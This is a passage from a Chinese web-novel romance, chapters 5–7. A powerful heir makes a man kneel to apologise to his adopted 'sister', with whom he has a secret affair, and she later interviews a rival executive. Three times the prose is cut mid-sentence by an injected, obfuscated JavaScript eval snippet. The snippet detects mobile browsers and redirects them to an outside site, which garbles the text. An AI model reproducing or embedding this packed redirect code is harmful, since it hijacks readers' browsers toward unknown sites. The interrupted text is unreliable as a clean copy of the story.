薄津棠眼尾懒懒掠了一眼,也就一眼,熟视无睹地收回视线,接着和身边的人交谈。 气氛霎时凝滞住。 男人很少被这么忽视,脾气一下子就上来了:“薄津棠,你眼瞎吗?” 薄津棠轻哂,口吻随意:“我不介意把你眼戳瞎。” 换做别人,可能以为这话是开玩笑。但以薄津棠的性子,这话十有八成是真的。 男人的脸色一下子变了,褪去血色。 他忍着怒气,咬牙切齿地说:“钟漓呢?不是说要我给她道歉吗?她人呢?” 没有人道歉是这样来势汹汹,像是来要债的。 也就谭少渠。 半个月前的聚会,谭少渠喝多了酒,他堵住刚从洗手间出来的钟漓,企图对她动手动脚,结果被姜绵踹了一脚。就这样,谭少渠和姜绵起了争执。 这事归根结底,是因钟漓而起的。所以她再三和薄津棠保证,自己以后不会参加任何聚会。 顺着包厢内其余人的视线指引,谭少渠找到了钟漓。 他走到钟漓面前,嗤笑了声,懒洋洋的声线,道歉像是在调情:“对不起啊,漓漓,我那天喝多了。” “你在和我道歉吗?”钟漓明知故问。 “不然呢?我都说对不起了。”谭少渠一副“我都道歉你他妈还不快接受我的道歉”的嚣张傲慢。 钟漓眼睛弯成一道线,给人一种温柔好拿捏的感觉,一副“我会接受你的道歉”的乖巧软糯,说出来的话却是,“哦,我不接受你的道歉。” 谭少渠:“你他妈——” 刚说出三个字。 谭少渠就被人踹了一脚。 那一脚踹在他膝盖窝处,他失去重心,直直地往前倒。 然后。 踉跄地。 跪在钟漓面前。 站在他两侧的保镖,见状,按住他的肩,让他动弹不得。 薄津棠没什么表情地眺着谭少渠,“既然是来道歉的,就好好道歉。” 男儿膝下有黄金。 谭少渠好歹也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660738|188422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是家里的小霸王,老来得子,三代单传,备受宠爱,哪儿受过这种委屈,又被一大帮子人看着,颜面无存。 他怒的额前青筋迸起:“我来道歉是给你面子,薄津棠。” “我的面子不值几个钱。”薄津棠说,“我比较在意我家公主的面子。” 谭少渠还想说什么,他身侧的保镖矮身附耳,不知和他说了什么,他不情不愿地开口,几乎每个字都是从牙缝里挤出来的,“对不起,薄家大小姐。” 薄津棠说:“她有名字。” 谭少渠就没遇到过这么给脸不要脸的人,压着他的保镖是谭老爷子的保镖,此刻提醒般地喊了声:“少爷,老爷交代的事,您得办了。” 谭少渠牙都要咬碎了,窝窝囊囊地道第三次歉:“对不起,钟漓。” 那天钟漓躲闪得及时,只被他碰到胳膊。 对方道歉态度恶劣,但是在她面前跪下了。虽说是被迫的。 沉默片刻,钟漓看了薄津棠一眼。 薄津棠隐在半明半暗里的脸,显出驱除意味:“以后见到我家公主,记得绕着点儿走。” 谭少渠一脸的轻蔑轻狂,左眼写着“我还敢”,右眼写着“绕个屁”。 保镖们看得心惊胆战,怕这位小霸王再惹祸端,一边对薄津棠点头哈腰,一边连拖带拽地把小霸王给拉走。 谭少渠离开后,包厢里又恢复热闹,众人淡然自若地接着被打岔的话题继续聊。 没人觉得刚才的事有多罕见,有多令人惊讶。 毕竟圈里人都知道,薄家太子爷对这位没血缘关系的妹妹,有多疼惜。如此兴师动众的行为,不在少数。 薄津棠朝钟漓身边坐着的人扫了眼,对方连忙起身,给他腾位置。 他坐下来,并没说话,左腿叠着右腿。 这个位置太偏僻,他穿着一身黑,几乎要融入暗夜里。又许久没说话,钟漓以为他在这种嘈杂的环境里睡过去的时候,他突然开口:“打算采访我?” 转移话题速度过快,钟漓花了好几秒才反应过来,她摇头。 犹豫几秒,还是按捺不住,问他:“我听说,有人要采访你。” 薄津棠唇角意味不明地扯动了下:“一直以来都有很多人想采访我。” 她小幅度地翻了翻白眼。 薄津棠闭着眼,她这个角度看过去,只能看到他狭长的眼睫毛,眼睫毛动都没动一下,他像是身上还长了一双眼:“再翻个白眼试试。” 钟漓:“你不是闭着眼吗?” “我闭着眼都能猜到。”薄津棠眼帘上拉,垂眼看她,“有人想采访我,我就得接受采访?你什么时候见我接受采访过?” “万一,那个人是你无法拒绝的人呢?”钟漓盯着他。 她长了张尤为乖巧的脸,却生了双含情脉脉的眼。不远处液晶屏光影变幻,星星点点的光落在她眼里,眼梢流转间,能拉扯出丝丝缕缕的缠绵悱恻。 “你会吗?”她追问。 “不会。”他神情冷淡地回绝。 薄津棠阖着眼,最后两个字,咬字加重,“我不当备胎。” 5. 05 05 钟漓和薄津棠朝夕相处近十年,她对薄津棠的情绪十分洞悉。 通常在这种需要社交的场合里,他都是被恭维被巴结的那个,所以他的冷淡里会藏着些微的不耐烦。 私底下和好友们聚在一起,他话也不太多,坐在暗角,神色倦懒,偶尔和人攀谈几句,唇畔挂着似有若无的笑。 他脸上没什么表情的时候,心情都算过得去。 一旦像现在这样,冷淡地闭眼,不愿与人交谈的架势。 就是心情很差的意思。 “我没有要约你采访。”钟漓不明白为什么他会有这种想法。 薄津棠懒洋洋地往后倚,露出瘦窄的下颌线,薄唇启动,“除了你,还有谁敢冒着被拒绝的风险约我采访?” “高风险高回报。”钟漓说,“多的是人想约你。” “好好说话。” “我怎么没好好说话?” “约我。”薄津棠不紧不慢地、轻描淡写地落下两个字。 约他。 约他什么? 采访。 不然还能约他什么? 约—— 约什么? 哦。 约炮。 想约他睡觉的,比想约他采访的多得多。 钟漓是知道的。 薄津棠有着得天独厚的条件,家境、外貌、身材,单拎一件出来,都对异性有着致命的吸引力。 钟漓以前听过最多的一句话就是。 ——“薄爷长了张一夜七次顶级男模的脸,实则是清心寡欲堪称性冷淡的活佛。” 十八岁之前,钟漓颇为赞同这句话。 十八岁之后,钟漓勉强能赞同前半句话,至于后半句话,她不予苟同。 不想让话题跑偏,钟漓生硬地把话题拉了回来,“最近有没有人约你采访?得是那种,地位很高,让你不好意思拒绝的人。” “有谁是能让我不好意思拒绝的?”薄津棠眉宇间的傲慢与生俱来。 他确实有傲慢的资本,毕竟圈子里也只有他被叫一声“太子爷”。 想着问他也问不出个所以然出来,钟漓决定还是去问他的助理徐特助。毕竟薄氏总裁日理万机,每天处理许多工作,采访这种微不足道的小事,都是交给徐特助的。 “我给你个机会,”薄津棠睁眼,瞳孔漆黑湿润,“我的初次采访,给你。” “不要。”想都没想,钟漓就拒绝,“我才不要和你做交易。” 薄津棠弯唇笑了,慢慢悠悠地说:“学聪明了。” 钟漓撇嘴。 薄津棠直起身,凑到她面前。他身前的衬衣扣子莫名解开了两颗,露出白皙深陷的锁骨,包厢内光影明灭,他眼梢轻佻,笑意轻荡,此刻不太像是呼风唤雨的薄家太子爷,反倒像是依靠肉.体出卖色相的男模。 “不想要我的第一次吗?”薄津棠着实双标,让钟漓好好说话,自己却故意用些暧昧的字眼,“你不吃亏,漓漓。” 钟漓顿了下,与他相撞的视线,捕捉到他眼里一闪而过的戏谑,她平静下来,温吞地回击,“你又愿意当备胎了?” 薄家太子爷当然不愿意当备胎。 也不会接受采访。 明摆着逗钟漓耍。 薄津棠向来在这种场合待不久,要办的事已经办完了,他起身,揉了揉钟漓的头发,“你舍得让我当备胎?行了,有什么事回家说,外面人多嘴杂的。” 接完电话回来的姜绍白恰好听到了后半句话,“你俩要回家聊什么不为人知的秘密?我们不是好哥们吗,有什么话是我不能听的?” 薄津棠懒得搭理他,径直往外走。 钟漓说:“绍白哥,你别听我哥胡说,我和他没有什么不为人知的秘密。” 她长得漂亮,笑起来明媚夺目。 姜绍白被她的笑晃了眼,加上她向来乖巧听话的形象,他没起疑心,只是问:“他不是最烦被人打扰,怎么会让你跟他去公寓睡?”又自问自答地说,“你不愧是他最疼爱的妹妹,居然能让他打破原则。” 钟漓的神情毫无破绽,清清淡淡地说:“他说的回家,指的是回薄家,不是去他的公寓。” 事实上,他们也是要回薄家。 / 所有人眼里,钟漓和薄津棠只是兄妹。 就连薄津棠那帮子发小兄弟们,也以为他俩只是兄妹。 兄妹? 没有血缘关系。 不在一个户口本。 睡在一张床。 随时随地都会接吻。 这算哪门子兄妹? 没有人知道他们之间的关系。 就像也没有人知道,钟漓已经很多年,没有叫薄津棠“哥哥”了。 除了在薄家父母面前。 到薄家的时候,管家说郭曼琳和薄坤生已经睡了,钟漓点点头,兀自回屋。 钟漓和薄津棠的房间仅一墙之隔。 洗过澡,躺回床上。 空气里飘着熟悉的凛冽薄荷味,漫无边际的黑夜里,回忆见缝插针地钻进她梦里。 钟漓十八岁的那年,发生了两件大事。 一件是高考。 另一件则是,薄家与谭家早些年私交甚好,两位老爷子喝多了酒,醉酒后一时兴起给小辈许了婚约。酒后的妄言,薄老爷子和谭老爷子都没太当真。 反倒是无意间听到此事的谭笳月当真了。 圈内众所周知的秘密,谭笳月喜欢薄津棠。 于是陈芝麻烂谷子的婚约被谭家人提起, ——薄津棠要和谭笳月联姻。 钟漓无意偷听,她只知道谭家人有事来找郭曼琳和薄坤生,作为小辈,也作为……她虽住在薄家但不是薄家人,于是主动回到房间。 等了约莫一个小时,钟漓以为他们聊得差不多了,她推门,打算下楼倒水。 快走到楼梯口,听到尤为清晰的一句。 “老爷子们说的话,不能当儿戏。津棠和笳月年纪还小,可以先订个婚,结婚一事,往后推推。” 钟漓的大脑瞬间宕机,她不知道自己是怎么回到房间的,等她回过神的时候,手里的手机,响起薄津棠的声音。 薄津棠的声音很有辨识度,嗓音清润干净,倦懒的腔调。 像是刚睡醒,带着几分玩世不恭的惺忪感。 薄津棠叫了她好几声,钟漓才做出反应,“哥哥。” 她沿着门板缓缓蹲下身,目光空滞,声音找不到定点,“你要结婚了吗?” “瞎说什么?”薄津棠俨然被蒙在鼓里,一派轻松闲适,“做梦梦到我结婚了?” “没有,不是。”钟漓说,“谭伯伯在和曼姨谈你和谭笳月的婚事。” 电流声轻得微不可闻,片刻后,薄津棠的嗓音低了下来,“等我回来。” 电话没挂。 一直到楼下传来管家的声音:“少爷,您回来了。” 距离太远,楼下的对话声听不真切,好在电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660739|188422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将一切清晰传达。 钟漓听到薄津棠客套又疏离地请谭继邺出去,冷漠又决绝地否了这桩婚事。谭伯伯受了一肚子气,憋屈又愤怒地离开薄家。 钟漓十八岁这年,薄津棠二十二岁。 同龄人正处于大学毕业的年纪,对未来茫然困惑,但他不是。他是被薄家寄予厚望、出生起便被钦定为薄家唯一继承人,在钟漓这个年纪的时候,薄津棠就已经在薄氏实习。而今大学毕业,薄津棠顺理成章地接任薄氏总裁一职。 因此,没人敢置喙薄津棠。 电话里。 薄津棠说:“您脾气太好了。” 郭曼琳说:“没办法,那话到底是你爷爷亲口说出去的。” 薄津棠非常孝顺:“婚约是他说的,要结婚,让他自个儿结。” 郭曼琳憋着笑:“得亏你爷爷不在家,你这话要是让他听到,老爷子指定揍你。” “当着面我也会这么说。” “……我还是挺喜欢笳月的。” “那您和我爸离婚,和谭笳月结婚去吧。”薄津棠边走边说,滴水不漏地给她规划着,“国内不允许同性结婚,您到国外去,所有手续我都会帮您办好。” “我是这个意思吗薄津棠?!”郭曼琳无语。 “那就少提些无关紧要的人。”薄津棠显然不给任何人面子,“和谁结婚是我的事儿,您少乱点鸳鸯谱。我再说一遍,谁许的婚约,谁去结婚。” 他言简意赅,落嗓有力,说了十二个字:“别说服我,别支配我,别干涉我。” 电话里的脚步声越发急促,一墙之隔的门外,响起逐渐清晰的脚步声,越来越近。 话音落下。 敲门声响。 电话里,门外,两道声音,富有磁性的声线重合。 “漓漓,开门。” 等了半天门没开,薄津棠说话的语调放的轻而慢。 是在哄她。 “还不开心呢?” 听到他的话,钟漓知道他误会了。 她不开门的原因是…… 蹲太久,腿麻了,站不起来。 兴许是梦到曾经发生过的事,钟漓有种身临其境的真实感。双腿发麻发涩,想站起来,又使不上劲,无力发软。 钟漓记得那天,她很快就起身把门打开了。可是双腿的酸涩感一直没退去,甚至有种湿濡感,像是有什么黏湿的东西在舔她的腿。 然后,钟漓睁开了眼。 刚醒的那几秒里,钟漓和伸手不见五指的黑夜面面相觑。视觉发挥不了作用的时候,其余感官尤为灵敏。 压抑的喘息,温热有力的掌心,灵活缠弄的舌头。 钟漓用脚指头想都知道始作俑者是谁,刚醒的声音稍显柔弱:“……薄津棠,你大半夜发什么疯?” 她放在身侧的手想推开薄津棠的头,却被他反手抓住手,十指紧扣,压在床单上。 薄津棠没有半分夜闯别人房间的悔悟,四平八稳的语气:“醒了。” 钟漓:“你什么时候来的?” “你睡着的时候。” “……”说了和没说一样,钟漓小小地翻了个白眼。她的双腿终于获得自由,双腿曲起,想报复地踹他一脚。 在这个时候。 和戛然而止的梦境似乎衔接上了。 房门被人敲响。 和梦里不一样的是。 门外传来郭曼琳的声音。 她亲和又关切地问:“漓漓,睡了吗?” 6. 06 06 敞开的衣襟,柔软的舌头,温热的鼻息,被紧紧箍在床单上的手。 构成荒诞凌乱的不眠夜。 猝不及防的敲门声,给这夜晚平添心悸的惊悚感。 叩门声在幽深的长走廊里回旋,震荡,隐有回音。 钟漓大脑一片空白,像是从云端跌落,周身发凉,她微屈着的腿,毫不犹豫地抬起,猛地踹向薄津棠的肩。 床单发出窸窣声响,她慌张地爬到床头,拉过被子给自己盖上。 心脏快要从胸口跳出来了。 房间的隔音效果一般,郭曼琳的声音再度响起:“漓漓?” 钟漓看着门的方向,一时没出声。 又响起薄坤生的声音:“漓漓估摸着睡了,你别吵她了,她明个儿还得上班,就让她好好睡觉吧。” “好吧。”郭曼琳恋恋不舍地离开。 脚步声渐远,直至恢复平静。 “啪嗒”一声。 壁灯亮了。 钟漓深吸一口气,压着怒火:“薄津棠,这是在你家,你能不能收敛点儿?” 薄津棠站在床头,居高临下的视角。 低垂的眼睫,盖住眼里的情绪,过分淡薄的神色,辨不出喜怒。 对她的话,他挑起眉:“我的字典里,没有收敛这个词。” 话音落下,他屈膝跪在她面前,长手一伸,把她裹着的被子给掀了,继而抓住她的脚腕,轻轻松松就把她拉至自己面前。 “还没结束,”他低头,清冽的嗓沾染湿润的潮汽,“你知道的,我最讨厌半途而废。” ——继续刚才被打断的事。 钟漓想挣扎,想逃离,生理欲望却凌驾于心理欲望之上,身体的感受操控着她,让她不仅不逃离,还迎合着他。 / 隔天醒来,房间里干净,一尘不染,空气里飘荡着浅淡的橙子香。 昨晚的一切像是梦。 薄津棠像是童话里的灰姑娘,在晚上出现,等到某个特定时间,又会突然消失。 他不是吃苦耐劳的灰姑娘,他是黑心肠的万恶资本家。 钟漓洗漱好后,下楼吃早饭。 薄津棠已经坐在餐桌旁,衣冠楚楚地享用着早餐。餐桌主位上坐着薄坤生,薄家父子俩正在说些什么,见到钟漓,薄坤生招呼着她,“漓漓,起床了。” 钟漓坐在她常坐的位置,“薄叔,早上好。” “早上好。”薄坤生打量了她一眼,目光慈爱,“是不是瘦了?上班很辛苦吗?如果很辛苦的话,不妨考虑一下我和你曼姨的意见?” 对钟漓实习一事,薄坤生和郭曼琳颇有微词。 他们认为,钟漓没必要去外面吃苦受累,直接到薄氏上班。不过在他们的眼里,钟漓最好还是不上班,当薄家大小姐,拿着无限额的黑卡享受骄奢淫逸的生活。 钟漓说:“同事们都挺照顾我的,工作量不多,我还挺喜欢这份工作的。” 她向来有主意,薄坤生没再多说,只叮嘱一句:“要是不开心了就别干,你薄叔和你哥能养你一辈子。” 她瞥了她哥一眼。 她哥本人置身事外地吃着早餐。 薄坤生似是想起什么,转向薄津棠:“你谭伯伯给我打电话了。” 薄津棠撂下手里的刀叉,眼梢敛起凉凉的笑,“这就告状告到您面前来了,谭老头速度挺快。说吧,您怎么个想法?” 他一口一个“您”的。 神情、话语里,没半点儿尊敬可言。 薄坤生并不在意他的态度,“每个人有各自的说法,站在他的视角,说的自然都是对他有利的点。昨晚挂断电话之后,我让人去查了下,结果发现事情的起因是,他家那不成器的小霸王,想要招惹漓漓。” 薄坤生的语气,乍一听,像是平铺直叙阐述无关紧要的事,可真了解他的人就会知道,这是暴风雨来临前的短暂平静。 “你教训他,是他应得的。”薄坤生说,“只是当着众人的面让他下跪,未免太伤他面子了。” “我下次收敛点。”薄津棠漫不经心地说。 “你做事向来滴水不漏,这次是护妹心切,所以才大张旗鼓。”薄坤生转头,钟漓喝着咖啡,余光捕捉到他落在自己身上的视线,温和祥宁,“我年纪大了,不掺和小辈的事,倘若下次再闹到我面前——人还活着,四肢健在,我都好和他们父母交代。” 钟漓心尖一颤,大概明白了薄坤生的言外之意。 ——大胆点往死里弄,留口气儿就行。 不仅如此。 薄坤生还表达出了不满。 只是下跪。 便宜谭少渠了。 “您和我妈就为了这事儿,昨晚大半夜不睡觉去敲钟漓的门。”薄津棠倚靠在椅子上,一副没睡醒的样子。 “是啊,你妈担心得不行,她怕漓漓受了委——”话没说完,薄坤生狐疑,“我们敲漓漓的门,你怎么知道?” 钟漓的心瞬间吊在半空,不上不下的。 好不容易躲过昨晚,一大清早的,薄津棠也不得安生。 他坐姿松散,薄唇微讽,“就我妈那嗓门,自带喇叭。” 薄坤生替郭曼琳挽面,“你妈妈着急,声音就不自觉地大了点儿。” 话题很自然地转移开来。 钟漓的心脏回归原位。 她小心翼翼地松了口气,莫名地想起昨晚薄津棠说的话。 他是真不懂也不会收敛。 / 杂志社和薄氏不在同一个方向。 吃过早餐,钟漓打车去的杂志社,没坐薄津棠的车。当然,薄津棠也没有邀请她坐他的车。 钟漓高考后,薄津棠在薄家就与她保持着距离,没有以往的亲近。 明面上如此,背地里则是比以往更亲密。 亲兄妹之间,都要保持距离,遑论他们之间没有血缘关系。薄津棠和钟漓深谙此理。 到杂志社后,钟漓刚把包放下,就被人使唤干活。 她进社快三个月,每天过着同样的工作,跑腿拿外卖,打印东西,帮人把东西送到别的部门,别的部门缺人手就把她调过去当苦力。鸡飞狗跳之中,抽出琐碎的时间写稿子。 想到稿子。 和陈晋南的采访稿,她还没写。 趁着休息的空档,她打开电脑写着采访稿,刚写完一个问题,有人喊她出外勤。 这篇采访稿钟漓花了三天时间才写完。 她和陈晋南约的是周二采访,临到周一,她突然想起来一件至关紧要的事。 她没有。 陈晋南的,联系方式。 不过陈晋南身为总裁,又当着她的面亲口承诺,应该不会说话不算话。 等到周二这天,她和带她的组长报备了下自己出外勤,而后带上采访用的东西,去了新宇集团。 午后艳阳高照,金融中心高楼林立,阳光在玻璃窗上反射出粼粼波光。 来往走动的人都穿着简约的制服,空气里仿佛能嗅到一股物质的金钱味。 金融中心最标志性的建筑物是薄氏集团,过两个路口,五分钟的车程,钟漓从出租车里下来。 新宇集团有两栋大楼,西边那栋是集团旗下的公寓式酒店,东边这栋则是集团总部大楼。 下午两点多,一楼大厅仍有不少人穿梭其中。 钟漓直直地朝前台走,“你好,我和陈总有约。” “请问您贵姓?”前台礼貌询问。 “我姓钟。” 前台看向电脑,鼠标键嘎吱嘎吱响起,过了一会儿,一脸遗憾地朝钟漓说,“抱歉,这边没有查到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660740|188422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您的预约记录。” 钟漓想了想,说:“我是《SIGNAL》杂志社的,和陈总约了采访。” 不知是不是钟漓的错觉,她说完这句话后,前台小姐看向她的眼神里,多了几分耐人寻味的鄙夷。 钟漓说:“我上周和陈总约好了的。” 前台小姐朝大厅内某个地方指了指,“那边那堆人也是来采访陈总的,他们也说,和陈总约好了的。” 顺着前台所指的方向看去,大厅休息区坐满了人。 地上摆了不少拍摄道具。 钟漓收回目光,“你能和陈总打个电话吗?就说是钟漓找他。” 前台小姐脸上神情无懈可击:“抱歉,陈总工作繁忙,没有时间接我们的电话。” 想想也是,如果每个找陈晋南的人都要求前台打电话给他,陈晋南一天也别上班了,光接电话了。 钟漓没有为难前台小姐,她叹气:“我再想想办法吧。” 转身离开的时候,电梯间里发出熙攘的声音。 循声望去,钟漓脚步停下。 出来一行人,陈晋南赫然位于其中。 钟漓看到他的时候,陈晋南也发现了钟漓的存在,他直直地朝钟漓走来,停在她面前。 休息区的媒体们乌泱泱地上前,却被大厅的保安们拦住。 “钟漓,你怎么在这里?”陈晋南神色温润,“你是不是记错你哥公司了,我正好要去找你哥,要不要顺便带你过去?” “不是的,我找您。”钟漓声音轻了轻,“我们上周约了今天采访。” 陈晋南拧了拧眉,似乎在回忆,三秒后,他说:“抱歉,我忘了这事儿了。” 钟漓赶忙道:“您什么时候有空,我们可以再约的。” “别一口一个’您’的,我才二十九,你这喊的,让我有种九十二的错觉。”陈晋南说,“听说你和姜绵是好朋友,你随她喊我’三哥’就行。” “……三哥。” “我现在有事要忙,”陈晋南抬头看了眼腕表,身旁的助理忽地靠近他耳边,同他低语几句,陈晋南挑眉,“你很急吗?因为我晚上九点的飞机,去澳洲出差,时长约一周。” 一周后,是国庆假期。 杂志社的定稿日是每个月十号。采访加整理采访稿,再到审核采访稿,最快也要三天。时间过于紧凑,钟漓不确定能不能赶上。 兴许是看穿了她的焦虑,陈晋南又说:“和你哥谈完工作,我还有两个小时的时间。” 钟漓茫然地看着他。 “两个小时,应该够你采访的吧?”陈晋南再度笑了起来,脸上带着标志性的温柔。 “够的够的。” / 为了尽可能地节约时间,钟漓跟陈晋南到了薄氏总部。 前来接待陈晋南的是薄津棠的助理,徐特助。 见到陈晋南身边的钟漓,徐特助眼里闪过一丝困惑。 电梯间里,陈晋南侧身,像是闲来无事,和她唠唠家常:“怎么不采访你哥?” 钟漓眨眨眼,给出来的回答很圆滑也很狗腿:“谁不知道,北城现在最炽手可热的人物是陈三哥您,薄津棠在您前面,充其量算是过去式,他已经老了,不行了。” 话音落下。 轿厢里,不知哪个地方,响起薄津棠的声音。 “谁不行?” 钟漓吓了一跳,她左右张望,轿厢里只有四个人。 她,陈晋南,徐特助,以及陈晋南的助理。 徐特助把手里的手机举至钟漓面前,他指了指自己耳边的蓝牙耳机,口型微动,在和钟漓说:抱歉,我过来的匆忙,忘了挂电话了。 电话显示着通话时长:五分三十六秒。 听筒里传来薄津棠短促散漫的声音:“你倒是说说,我哪儿不行?” 7. 07 07 钟漓眼皮一跳。 没想到自己难得说一次薄津棠的坏话,居然以这种方式,百转千回般地被薄津棠听到。 思考三秒,她决定用最简单的方式解决此事。 挂断电话。 她从徐特助的手里夺过手机,刚按下挂断按钮。 与此同时,身侧的电梯门缓缓打开。 余光里,出现道修长矜冷的身影,伴随着寡淡散漫的声线,“忘了提醒,陈晋南比你哥我大一岁,漓漓,在你眼里我真得很老吗?” 钟漓倏地噤声。 她浑身僵住,头发丝儿好像都紧绷成弦。 薄津棠轻飘飘的视线扫过她绷直的侧身,嘴角滑过一抹若有似无的笑。 打破这抹凝滞的。 是陈晋南,“妹妹为了采访我,故意哄我的。” 他语调轻松,含笑着活跃气氛,“怪不得绍白常念叨着换个妹妹,漓漓的嘴可真甜。” “是吗?”薄津棠意味深长地重复着这句话,“漓漓的嘴是挺甜的。” 一语双关。 只有他们二人知晓的言外之意。 ——亲起来更甜。 / 薄津棠和陈晋南有公事要谈,钟漓去薄津棠的办公室等他俩谈完。 钟漓进办公室后的第一件事,就是抓着徐冲,问:“徐特助,最近有人约薄津棠采访吗?” 徐特助推了推鼻梁处的镜框,高调又不失谦虚的口吻,答:“在北城的商业版图上,薄家身为四大家族之首,薄总自然是媒体人眼里的香饽饽。薄氏集团近些年商业版图的成功扩张,都是薄总的功劳。倘若薄总只是一个商业奇才,媒体们也不会对薄总如此流连,更吸引媒体们的,是薄总堪比明星的出色外形。” “停停——”钟漓打断徐特助对薄津棠不遗余力的夸赞,长驱直入,“要采访他的媒体名单有吗?” “有的,大小姐。”徐特助不知从哪儿掏出个平板,指尖在屏幕上敲敲点点,半分钟的时间,他把平板递给钟漓。 一连串的媒体名单,传统媒体和新媒体都有。 徐冲按照媒体的首字母,将其排列,方便寻找。 钟漓找到“S”那一栏,上下翻找,意外的是,并没有找到她们杂志社的名字。 身为薄津棠的特助,徐冲最擅长察言观色,虽不明白钟漓为什么要媒体的名单,但他根据钟漓现在的实习工作,很快推算出疑惑点:“你有认识的人,要采访薄总吗?” “可能不是通过杂志社的名义,是以个人名义约的。”钟漓不答反问,“程千窈,有这么个人吗?” “我找找。”徐冲接过平板,搜索了一遍,“没有。” “章朝莹呢?” “《SIGNAL》总裁,章总?” “嗯。” “我这边没有接到过章总的电话。” “哦,好吧。” 徐冲问她,“是需要我在薄总面前美言几句吗?就说是,您的意思。” 薄津棠的办公室给人的感觉和他如出一辙。 疏离的灰,深浓如墨般化不开的黑,阳光穿过落地窗,反射出的光锋利。 到处都透着贵气,就连微不足道的小摆件也价值连城。 钟漓坐在他的老板椅上,头往后仰,盯着天花板,半晌后,她出声:“我没有那个意思。” 徐冲愣了愣。 又听见她说:“薄津棠不许接受别人的采访。” 颐指气使的命令口吻。 还没人敢用这种语气和薄津棠说话。 钟漓是第一个。 也是唯一一个。 她不仅背地里这么说,当着薄津棠的面,也是这么说,甚至语气会更傲慢,一副薄津棠必须听她话的理所应当。 徐冲第一次见到这种场景的时候还心惊胆战。 圈内的传言虚虚实实,唯独这一桩事造不了假。 钟漓是薄津棠一手宠大的妹妹。 徐冲眼观鼻鼻观心,审时度势道:“我知道该怎么做了。” “要是没什么事儿,我就先走了。” “有事。”钟漓坐直身子,声音一下子抬高了两个度,“你刚刚为什么不挂电话?” 害的她说的那些话,都被薄津棠听到! “通常都是薄总挂电话的,我也不知道为什么,薄总没挂电话。”徐冲为难。 “你不能挂吗?” “他是我领导,我怎么可以挂领导的电话?” “我说他坏话的时候,你不能挂吗?” 徐冲说:“我想挂的。” 钟漓看着他。 徐冲清了清嗓,忽地换了一副语气,轻懒,慢悠悠地,仔细听,就能听出来,他是在学薄津棠。 ——“电话别挂。” ——“我也想知道理由。” 冷笑一声:“我是不是最近太纵容她了。” ——“把扬声器开了。” “……”钟漓嘴角抽了抽,“徐特助,你要是学表演,估计现在也是影帝级别了。” “谢谢夸奖。” “不客气。” 钟漓无力地挥手:“你还是走吧,我想一个人在办公室待着。” 她在办公室待了约莫两个小时。 办公室门传来叩门声,徐冲去而复返:“薄总和陈总已经谈完公事了。” 钟漓拿上准备好的采访稿和录音笔,“我马上过来。” 采访的地方是薄氏集团的会议室。 钟漓进去后,发现薄津棠老神在在地坐在会议桌主桌,没有任何离开的迹象。 钟漓清了清嗓,露出个官方客套的微笑:“薄总,我要采访陈总,请问您方便离开一下吗?” “哦,不方便。”薄津棠眼梢轻佻,眉眼间淌着目中无人的嚣张。 钟漓瞥了眼陈晋南,强撑着笑,“哥,我要工作。” “薄津棠,你这哥当的,怎么回事儿?”一旁的陈晋南开口了,“刚刚我们在工作的时候,妹妹也没打扰我们。” “我也不会打扰你俩的工作。”薄津棠手机往桌上随意一搁,伸手示意他俩,“不是赶时间?快点儿开始吧。” “……” 无论他们说什么,他都当耳旁风。 陈晋南温和一笑:“就这么采访吧,毕竟不像我俩谈公事,没什么商业机密。” 钟漓也拿他没办法,她掏出录音笔,“那我们现在开始采访?可以吗?陈总。” 她换了个称呼。 陈晋南也换了个称呼:“可以的,钟小姐。” 钟漓准备工作做得充分,准备的问题并不刁钻,是大部分访谈类采访都会问到的问题。然而她也在一大串常规问题里,穿插几个大家都感兴趣的问题。 譬如说:“大家都很关心陈总的感情问题,想问一下陈总,现在有女朋友吗?” 问完,陈晋南没作答。 宽敞空旷的会议室,响起一阵轻嗤声。 钟漓转头。 薄津棠:“等了这么久,终于问到重点了。” 钟漓回头。 陈晋南无奈摊手,“单身很多年。” 钟漓:“外界一直传,陈总是有联姻对象的。” 陈晋南表情更无奈:“无稽之谈。” 钟漓问道:“陈总有喜欢的类型吗?” 陈晋南沉思片刻,“抱歉,我没谈过恋爱,迄今也没遇到过心动的女生。” 薄津棠插话:“这回答太寡淡了,不吸引眼球。” 钟漓转头:“你——” 话刚出口,陈晋南音色温和,“我倒是挺好奇,你喜欢什么类型的女生。” 薄津棠嗓音轻淡,“漂亮的。” 陈晋南:“还有呢?” 薄津棠靠着椅背,“你接受采访还是我接受采访?” 陈晋南态度谦卑:“就当是我向你请教,什么样的回答吸引眼球。’漂亮的’这种回答,好像不太吸引眼球。” “丑的。”薄津棠说。 “……” 钟漓想拿胶布把他嘴巴给封了。 